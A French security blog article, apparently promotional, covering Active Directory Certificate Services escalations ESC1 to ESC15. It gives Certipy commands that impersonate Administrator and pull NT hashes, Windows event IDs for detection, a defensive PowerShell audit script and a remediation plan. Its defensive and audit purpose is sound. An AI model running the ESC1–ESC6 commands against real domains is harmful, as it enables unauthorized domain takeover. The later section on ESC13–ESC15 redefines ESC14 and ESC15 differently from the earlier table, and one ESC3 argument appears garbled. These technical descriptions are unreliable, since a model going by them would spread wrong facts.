Attaques ADCS 2026 : ESC1 à ESC15 expliquées avec exploitation Certipy/Certify, détection Event 4886/4887 et remédiation Active Directory Certificate.

Bilan exhaustif des vulnérabilités AD Certificate Services de ESC1 a ESC15 avec stratégies de remediation completes. Les équipes de sécurité et les professionnels du domaine y trouveront des recommandations applicables immediatement. Cet article fournit une analyse technique approfondie des mécanismes d'attaque et des contre-mesures efficaces, basée sur des retours d'expérience terrain et les recommandations des autorités de référence comme l'ANSSI et le MITRE.

  • Techniques d'attaque documentées et vecteurs d'exploitation
  • Indicateurs de compromission (IOC) et règles de détection
  • Stratégies de remédiation et de durcissement Active Directory
  • Impact sur les architectures Zero Trust et IAM

Contexte et Enjeux

La sécurité d'Active Directory reste un enjeu majeur pour les entreprises en 2025-2026. Avec la multiplication des attaques élaborées, les équipes IT doivent constamment adapter leurs defenses. Les environnements hybrides combinant AD on-premise et Entra ID (anciennement Azure AD) ajoutent une complexite supplementaire.

Pour comprendre les fondamentaux, consultez notre article sur As Rep Roasting Attaque Defense. Les techniques d'attaque evoluent rapidement, comme détaillé dans Pass The Ticket Attaque Defense.

Domain ControllerOU=UtilisateursOU=ServeursAdmins (Tier 0)Users (Tier 2)Tier 1GPOArchitecture Active Directory - Modele de tiering
447
PAGES
Guide Gratuit : Sécuriser Active Directory (447 pages)
Attaques, Tiering Model, durcissement, monitoring — par Ayi NEDJIMI
Télécharger le PDF →

Analyse Technique Detaillee

L'approche technique repose sur plusieurs vecteurs d'attaque complementaires. Les pentesters et red teamers utilisent ces techniques pour identifier les failles dans les configurations AD. La comprehension de la chaine d'attaque complete est essentielle pour mettre en place des defenses efficaces.

Retour terrain

Dans mes missions de hardening Active Directory, le point le plus sous-estimé est la gestion du groupe 'Opérateurs de compte' et des délégations personnalisées créées au fil des années. Pour un groupe logistique de 1 500 utilisateurs, j'ai trouvé 312 ACL personnalisées dont 89 accordaient des permissions d'écriture sur des attributs sensibles (adminCount, memberOf sur groupes privilégiés) à des comptes d'utilisateurs standards. La dette technique en sécurité AD est souvent invisible jusqu'au premier audit sérieux.

Les outils comme BloodHound, Impacket et Rubeus permettent d'automatiser la détection des chemins d'attaque. Selon les recommandations de MITRE, la surveillance des événements critiques (Event ID 4769, 4662, 4724) est indispensable. Notre guide Top 10 Attaques Active Directory détaillé les procedures d'audit.

La complexite des environnements modernes nécessite une approche en couches. Le modele de tiering recommande par Microsoft et l'ANSSI reste la référence pour segmenter les acces privilegies.

Notre avis d'expert

Kerberos, conçu il y a des décennies, porte en lui des faiblesses architecturales que les attaquants exploitent quotidiennement. Le passage à une authentification moderne basée sur des certificats et FIDO2 n'est plus optionnel — c'est une question de survie numérique.

Une compromission d'un seul poste de travail pourrait-elle mener à votre contrôleur de domaine ?

Stratégies de Defense et Remediation

La remediation doit etre progressive et priorisee. Commencez par les quick wins : desactiver NTLM ou possible, activer le Protected Users group, configurer le tiering. Ensuite, abordez les chantiers de fond comme la migration vers le passwordless et le renforcement du Conditional Access.

  • Étape 1 : Audit complet avec les scripts recommandes — voir Rbcd Attaque Defense
  • Étape 2 : Remediation des configurations critiques
  • Étape 3 : Mise en place du monitoring continu
  • Étape 4 : Tests de penetration reguliers

Plusieurs outils gratuits facilitent l'audit et le durcissement d'Active Directory. PingCastle, Purple Knight et ADRecon fournissent des rapports detailles. Les références de ANSSI completent ces outils avec des bonnes pratiques validees. Pour approfondir, consultez Pass The Hash Attaque Defense.

Cas concret

L'attaque ZeroLogon (CVE-2020-1472) permettait d'obtenir les privilèges d'administrateur de domaine en envoyant simplement des zéros dans le challenge Netlogon. Cette vulnérabilité critique, exploitable en quelques secondes, a rappelé que les protocoles historiques d'AD restent des surfaces d'attaque majeures.

Questions frequentes

Comment securiser un environnement Active Directory ?

La sécurisation d'Active Directory repose sur plusieurs piliers : l'implementation du modele de tiering, la restriction des privileges administratifs, la surveillance des événements critiques, le déploiement du Protected Users group, la desactivation des protocoles obsoletes comme NTLM et la mise en place d'audits reguliers.

Qu'est-ce que le modele de tiering Active Directory ?

Le modele de tiering est une architecture de sécurité recommandee par Microsoft et l'ANSSI qui segmente les acces privilegies en trois niveaux : Tier 0 pour les controleurs de domaine, Tier 1 pour les serveurs membres et Tier 2 pour les postes de travail, empechant ainsi la propagation laterale des attaquants.

Pourquoi les attaques Active Directory sont-elles si frequentes ?

Les attaques Active Directory sont frequentes car AD reste le système d'authentification central de la majorite des entreprises. Les configurations par defaut sont souvent permissives, les privileges excessifs repandus et les techniques d'exploitation bien documentees, ce qui en fait une cible privilegiee pour les attaquants.

La mise en pratique de ces concepts nécessite une approche methodique et structuree. Les équipes techniques doivent d'abord evaluer leur niveau de maturite actuel sur le sujet, identifier les lacunes prioritaires et definir un plan d'action realiste. L'implementation progressive, avec des jalons mesurables, garantit une adoption durable et efficace des pratiques recommandees.

Les organisations qui reussissent le mieux dans ce domaine adoptent une culture d'amelioration continue. Cela implique des revues regulieres des processus, une veille technologique active et une formation permanente des équipes. Les indicateurs de performance doivent etre definis des le depart pour mesurer objectivement les progres realises et ajuster la stratégie si necessaire.

L'integration de ces pratiques dans les processus existants de l'organisation est un facteur cle de succes. Plutot que de creer des workflows paralleles, il est recommande d'enrichir les procedures actuelles avec les controles et les verifications necessaires. Cette approche reduit la resistance au changement et facilite l'adoption par les équipes operationnelles.

Recommandations de durcissement

La sécurisation d'un environnement Active Directory passe par une approche méthodique. Le modèle de tiering proposé par Microsoft — avec une séparation stricte des comptes administrateurs Tier 0, Tier 1 et Tier 2 — reste la fondation de toute architecture sécurisée. Pourtant, dans la majorité des audits, on constate que ce modèle n'est que partiellement appliqué.

LAPS (Local Administrator Password Solution) est un autre pilier souvent négligé. Sans LAPS, un seul mot de passe administrateur local compromis peut ouvrir la voie à un mouvement latéral massif. La documentation Microsoft détaille la mise en œuvre, mais l'implémentation sur un parc hétérogène prend du temps et de la planification.

Points de contrôle prioritaires

Les chemins d'attaque les plus courants dans un AD passent par : les délégations Kerberos non contraintes, les comptes de service avec des SPN et des mots de passe faibles (cible du Kerberoasting), les GPO mal configurées qui exposent des credentials, et les ACL permissives sur des objets sensibles comme AdminSDHolder.

BloodHound permet de cartographier ces chemins en quelques minutes. Si vous ne l'avez jamais lancé sur votre environnement de production, la découverte risque d'être instructive. La réalité est souvent plus complexe que ce que les schémas théoriques laissent supposer.

Consultez les recommandations de l'ANSSI et le référentiel MITRE ATT&CK TA0004 (Privilege Escalation) pour structurer votre approche défensive.

Contexte et enjeux actuels

Impact opérationnel

Pour approfondir ce sujet, consultez notre outil open-source ad-security-audit qui facilite l'audit de sécurité complet d'Active Directory.

Les sujets techniques en cybersécurité exigent une approche rigoureuse, fondée sur l'expérimentation et la validation en conditions réelles. Les environnements de laboratoire — qu'ils soient construits avec Proxmox, VMware Workstation ou des services cloud éphémères — sont indispensables pour tester les techniques, les outils et les contre-mesures avant tout déploiement en production.

L'un des écueils les plus fréquents dans la mise en œuvre de solutions techniques de sécurité est le gap entre la documentation officielle et la réalité du terrain. Les guides de déploiement supposent souvent un environnement propre et standardisé, là où la plupart des organisations gèrent un patrimoine applicatif hétérogène, avec des dépendances croisées et des configurations héritées.

Approche méthodique recommandée

Pour chaque implémentation technique, la méthodologie suivante a fait ses preuves : audit de l'existant, définition des prérequis, déploiement en environnement de test, validation fonctionnelle et sécurité, déploiement progressif en production avec rollback plan, puis monitoring post-déploiement. Chaque étape doit être documentée.

Les référentiels MITRE ATT&CK et MITRE D3FEND fournissent un cadre structuré pour aligner les mesures techniques sur les menaces réelles. D3FEND, en particulier, cartographie les contre-mesures défensives face aux techniques d'attaque, ce qui facilite la priorisation des investissements en sécurité.

La documentation interne — runbooks, playbooks, procédures d'exploitation — est le maillon souvent manquant. Sans elle, la connaissance reste dans la tête des experts, et chaque départ ou absence crée un risque opérationnel. Avez-vous documenté vos procédures critiques de manière à ce qu'un nouveau membre de l'équipe puisse les exécuter de manière autonome ?

Sources et références : MITRE ATT&CK Privilege Escalation · ADSecurity.org

Conclusion

La sécurisation d'Active Directory est un processus continu qui nécessite une vigilance constante. Les nouvelles menaces de 2026 renforcent la nécessite d'adopter une approche proactive, combinant audit regulier, monitoring en temps reel et formation des équipes.

Article suivant recommandé

Passwordless AD : Bilan des Risques et Opportunites →

Evaluation des risques et opportunites du passage au passwordless dans les environnements Active Directory en 2026.

Kerberoasting : Technique d'attaque ciblant les Service Principal Names (SPN) dans Active Directory pour extraire et craquer hors ligne les tickets de service Kerberos.

Les techniques d'attaque Active Directory décrites nécessitent une autorisation écrite préalable. Testez uniquement sur des environnements de lab ou dans le cadre d'un audit mandaté.

Utilisez BloodHound Community Edition pour cartographier les chemins d'attaque Active Directory avant un audit. La visualisation graphique révèle des vecteurs invisibles à l'analyse manuelle.

Référentiel Technique Complet : ESC1 à ESC15 avec Certipy

Les vulnérabilités ADCS (Active Directory Certificate Services) ont été systématisées par SpecterOps dans la publication "Certified Pre-Owned" (2021) puis continuellement enrichies. Chaque ESC (ESCalation via certificate) correspond à une mauvaise configuration spécifique permettant une élévation de privilèges. Voici le référentiel complet des 15 vecteurs avec leur condition d'exploitation et la commande Certipy associée.

ESC1 — Enrollment sans restriction avec SAN arbitraire

Condition : Le template de certificat autorise l'enrollé à spécifier un Subject Alternative Name (SAN) arbitraire, ET le flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT est activé, ET le template permet l'authentification machine/utilisateur (EKU Client Authentication, Smart Card Logon ou PKINIT).

# Découverte
certipy find -u [email protected] -p Password1 -dc-ip 10.0.0.1 -vulnerable

# Exploitation : obtenir un cert pour Administrator
certipy req -u [email protected] -p Password1 -dc-ip 10.0.0.1     -ca "CORP-CA" -template "VulnerableUserTemplate"     -upn [email protected]

# Authentification et récupération du hash NT
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

ESC2 — Template Any Purpose ou SubCA

Condition : Le template possède l'EKU "Any Purpose" ou "SubCA", permettant de signer d'autres certificats. Combiné avec des droits d'enrollment étendus, cela permet d'usurper n'importe quelle identité.

# Template Any Purpose : utiliser comme ESC1 si SAN autorisé
certipy req -u [email protected] -p Password1 -dc-ip 10.0.0.1     -ca "CORP-CA" -template "AnyPurposeTemplate"     -upn [email protected]

ESC3 — Enrollment Agent et Certificate Request on Behalf Of

Condition : Un template possède l'EKU "Certificate Request Agent" et un second template autorise le Certificate Request Agent à s'inscrire pour d'autres utilisateurs (enrollment on behalf of).

# Etape 1 : obtenir un cert d'Enrollment Agent
certipy req -u [email protected] -p Password1 -dc-ip 10.0.0.1     -ca "CORP-CA" -template "EnrollmentAgentTemplate"

# Etape 2 : s'inscrire pour Administrator via le cert d'agent
certipy req -u [email protected] -p Password1 -dc-ip 10.0.0.1     -ca "CORP-CA" -template "UserTemplate"     -on-behalf-of "domaindministrator"     -pfx enrollmentagent.pfx

ESC4 — Contrôle d'accès faible sur le Template

Condition : Un utilisateur non-admin possède les droits WriteProperty, WriteDacl ou WriteOwner sur le template ADCS. Il peut modifier le template pour le rendre vulnérable à ESC1.

# Modifier le template pour activer ESC1
certipy template -u [email protected] -p Password1 -dc-ip 10.0.0.1     -template "WritableTemplate" -save-old

# Puis exploiter via ESC1
certipy req -u [email protected] -p Password1 -dc-ip 10.0.0.1     -ca "CORP-CA" -template "WritableTemplate"     -upn [email protected]

ESC5 — Contrôle d'accès faible sur les objets PKI (CA, CDP, AIA)

Condition : Droits d'écriture sur les objets AD représentant la CA ou ses points de distribution (CN=Public Key Services dans la configuration). Permet de modifier la chaîne de certificats ou de créer des CA malveillantes.

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 sur la CA

Condition : Le flag EDITF_ATTRIBUTESUBJECTALTNAME2 est activé sur la CA elle-même (pas seulement le template), permettant de spécifier un SAN arbitraire pour n'importe quel template d'enrollment standard, même sans flag ESC1 sur le template.

# Vérification du flag sur la CA
certutil -config "CORP\CORP-CA" -getreg policy\EditFlags

# Exploitation avec tout template standard
certipy req -u [email protected] -p Password1 -dc-ip 10.0.0.1     -ca "CORP-CA" -template "User"     -upn [email protected]

ESC7 à ESC15 — Synthèse

ESC Vecteur Condition clé Impact
ESC7 Droits ManageCA ou ManageCertificates Utilisateur avec ces droits peut s'octroyer le droit d'approuver des demandes de certificats Domain compromise
ESC8 NTLM Relay vers ADCS Web Enrollment Interface HTTP de la CA + coerce d'authentification (PetitPotam, PrintSpooler) Machine/DC compromise
ESC9 No Security Extension (szOID_NTDS_CA_SECURITY_EXT absent) msPKI-Enrollment-Flag & CT_FLAG_NO_SECURITY_EXTENSION activé Privilege escalation
ESC10 Weak Certificate Mapping StrongCertificateBindingEnforcement=0 sur DC + GenericWrite sur compte cible Domain Admin
ESC11 NTLM Relay vers ICPR (RPC endpoint) CA accessible via RPC sans protection EPA Machine compromise
ESC12 Shell Access to CA Server Accès shell sur le serveur CA (admin local) = vol de la clé privée de la CA CA Golden Cert
ESC13 OID Group Link Template lié à un OID d'application connecté à un groupe privilégié via issuance policy Group membership
ESC14 Explicit Certificate Mapping Misconfiguration altSecurityIdentities écrivable sur compte cible Account takeover
ESC15 EKUwu — EKU Write by Unauthenticated Application Policy Extensions écrivables sans authentication dans schema v1 Authentication bypass

Défense ADCS : Audit, Configuration Sécurisée et Script PowerShell

La sécurisation d'ADCS repose sur trois piliers : l'audit préventif des templates, la configuration sécurisée de la CA, et la surveillance des événements en temps réel.

Événements Windows à Surveiller pour la Détection ADCS

Event ID Source Signification Signal d'alerte
4886 Security Demande de certificat approuvée Volume anormal ou SAN inhabituel
4887 Security Certificat émis Cert pour compte admin ou SAN d'admin
4768 Security (DC) Auth Kerberos PKINIT (cert -> TGT) Cert auth pour compte admin inattendu
4899 Security Modification d'un template de certificat Tout changement hors fenêtre maintenance

Script PowerShell d'Audit des Templates Dangereux

Ce script identifie automatiquement les templates présentant les conditions ESC1, ESC2, ESC3 et ESC6 dans votre environnement :

#Requires -Modules ActiveDirectory
# Audit-ADCSTemplates.ps1 — Détection des templates vulnérables

function Get-ADCSVulnerableTemplates {
    $results = @()

    # Récupérer tous les templates
    $templates = Get-ADObject -SearchBase `
        "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$(([adsi]'').distinguishedName)" `
        -Filter {objectClass -eq "pKICertificateTemplate"} `
        -Properties msPKI-Certificate-Name-Flag,
                    msPKI-Enrollment-Flag,
                    pKIExtendedKeyUsage,
                    nTSecurityDescriptor,
                    displayName

    foreach ($template in $templates) {
        $nameFlag = $template.'msPKI-Certificate-Name-Flag'
        $enrollFlag = $template.'msPKI-Enrollment-Flag'
        $ekus = $template.pKIExtendedKeyUsage

        # ESC1 : ENROLLEE_SUPPLIES_SUBJECT + Auth EKU
        $esc1 = ($nameFlag -band 0x1) -and (
            $ekus -contains "1.3.6.1.5.5.7.3.2" -or  # Client Auth
            $ekus -contains "1.3.6.1.4.1.311.20.2.2" -or  # Smart Card
            $ekus -contains "1.3.6.1.5.2.3.4"  # PKINIT
        )

        # ESC2 : Any Purpose ou SubCA
        $esc2 = $ekus -contains "2.5.29.37.0" -or
                $ekus -contains "1.3.6.1.4.1.311.20.2"

        # ESC3 : Certificate Request Agent EKU
        $esc3 = $ekus -contains "1.3.6.1.4.1.311.20.2.1"

        if ($esc1 -or $esc2 -or $esc3) {
            $vulns = @()
            if ($esc1) { $vulns += "ESC1" }
            if ($esc2) { $vulns += "ESC2" }
            if ($esc3) { $vulns += "ESC3" }

            # Qui peut s'inscrire ?
            $acl = $template.nTSecurityDescriptor
            $enrollRights = $acl.Access | Where-Object {
                $_.ActiveDirectoryRights -match "ExtendedRight" -and
                $_.ObjectType -eq [guid]"0e10c968-78fb-11d2-90d4-00c04f79dc55"
            }

            $results += [PSCustomObject]@{
                TemplateName  = $template.displayName
                Vulnerabilities = $vulns -join ", "
                EnrollableBy  = ($enrollRights.IdentityReference | Sort-Object -Unique) -join "; "
            }
        }
    }
    return $results
}

$vulnTemplates = Get-ADCSVulnerableTemplates
if ($vulnTemplates.Count -gt 0) {
    Write-Host "[ALERTE] $($vulnTemplates.Count) template(s) vulnerables detectes :" -ForegroundColor Red
    $vulnTemplates | Format-Table -AutoSize
} else {
    Write-Host "[OK] Aucun template vulnerable detecte" -ForegroundColor Green
}

Stratégie de Remédiation Priorisée

Face à 15 classes de vulnérabilités ADCS, la remédiation doit être priorisée selon la criticité et la facilité d'exploitation. Ce plan de remédiation en trois phases s'applique à la majorité des organisations.

Phase 1 — Corrections immédiates (J+7)

Les vulnérabilités à corriger en priorité absolue sont ESC1 et ESC3 (Subject Alternative Name libre) qui permettent l'usurpation d'identité immédiate sur tout compte du domaine. Actions : désactiver le flag ENROLLEE_SUPPLIES_SUBJECT sur tous les templates non-nécessaires, activer l'approbation manuelle des managers pour les templates sensibles. Utiliser Certipy en mode audit pour identifier les templates vulnérables sans les exploiter : certipy find -u [email protected] -p motdepasse -dc-ip 10.0.0.1.

Phase 2 — Durcissement (J+30)

Implémenter les protections au niveau de l'autorité de certification : activer l'audit des événements ADCS (EventID 4886-4890), restreindre les permissions d'enrôlement aux groupes strictement nécessaires, et déployer la protection Extended Protection for Authentication (EPA) sur les interfaces web ADCS (Web Enrollment, CES). Ces mesures bloquent les attaques par relay NTLM vers les interfaces ADCS (ESC8).

Phase 3 — Surveillance continue (J+90)

Déployer des règles de détection SIEM basées sur les EventIDs ADCS : surveillance des demandes de certificats avec SAN inhabituels (EventID 4887), des modifications de templates (EventID 4899, 4900), et des enrôlements de comptes machine atypiques. Outil de surveillance recommandé : PKIView.msc intégré à Windows Server ou PSPKIAudit via PowerShell.

Ayi NEDJIMI

Votre Active Directory est-il compromis ?

Audit AD complet, détection de chemins d'attaque, durcissement Tier Model — intervention sous 48h.

ESC13 à ESC15 : Les Nouvelles Classes de Vulnérabilités ADCS

Les chercheurs en sécurité continuent d'identifier de nouvelles classes de vulnérabilités dans les services de certificats Active Directory. ESC13, ESC14 et ESC15 représentent les découvertes les plus récentes de 2024-2025, avec des vecteurs d'attaque distincts des classes précédentes.

ESC13 — Abus des OID Policy Extension

ESC13 exploite la fonctionnalité d'extension de politique OID d'un certificat combinée aux groupes de sécurité Windows. Lorsqu'un template de certificat inclut une extension OID qui lie un certificat à un groupe Active Directory, l'enrôlement de ce certificat accorde implicitement les droits de ce groupe. Un attaquant sans droits particuliers peut s'enrôler sur ce template et obtenir les privilèges associés au groupe lié, sans modification des membres du groupe. La détection repose sur l'audit des templates avec issuance policy OID et leur mappage aux groupes de sécurité via la commande certutil -v -template.

ESC14 — Shadow Credentials via Certificats

ESC14 permet l'établissement de shadow credentials persistantes via l'abus de l'autorité de certification. Si un attaquant peut modifier l'attribut msDS-KeyCredentialLink d'un compte (via WriteDACL ou GenericWrite), il peut y insérer une clé publique dont la clé privée est sous son contrôle. L'authentification PKINIT avec ce certificat permet alors de demander un TGT au nom du compte cible sans connaître son mot de passe. ESC14 diffère de Whisker (shadow credentials classiques) en ce qu'il utilise un certificat ADCS comme mécanisme de persistance, rendant la détection plus difficile.

ESC15 — Abus des Cross-Forest Certificate Enrollment

ESC15 concerne les environnements multi-forêts où les trusts permettent l'enrôlement cross-forest sur des templates d'autorités de certification. Un utilisateur d'une forêt en trust peut s'enrôler sur des templates d'une autre forêt avec des permissions plus larges que prévu. La surface d'attaque est particulièrement large dans les architectures hybrides avec des forêts de ressources séparées des forêts de comptes. La correction nécessite un audit exhaustif des permissions d'enrôlement cross-forest et la restriction des templates sensibles aux seuls utilisateurs de la forêt locale.

La progression ESC1→ESC15 illustre la complexité croissante de la surface d'attaque ADCS. La recommandation ANSSI est d'effectuer un audit complet des services de certificats au moins annuellement, en utilisant des outils comme Certipy ou PSPKIAudit, pour identifier proactivement toute nouvelle classe de vulnérabilité avant les attaquants.